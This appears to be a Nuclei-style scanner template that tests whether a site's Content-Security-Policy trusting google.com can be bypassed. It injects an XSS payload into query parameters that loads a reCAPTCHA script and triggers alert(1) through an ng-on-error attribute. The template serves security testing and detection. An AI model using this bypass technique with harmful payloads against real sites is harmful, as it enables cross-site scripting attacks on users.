id: google-recaptcha-csp-bypass

info:
  name: Content-Security-Policy Bypass - Google reCAPTCHA
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,google-recaptcha

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "google.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: google_recaptcha_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script><img src=x ng-on-error="$event.target.ownerDocument.defaultView.alert(1)">'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "google_recaptcha_csp_xss == true"
# digest: 4a0a00473045022009511b75beca3aeda94bccd3805e2ce3135ea0c9aa9d234fd1d83ef0c6857f9c0221009b5d3fdc272f1745ee6c9a98ce3530aa8b88e5e08dd8bab770eb3d6319855210:922c64590222798bb761d5b6d8e72950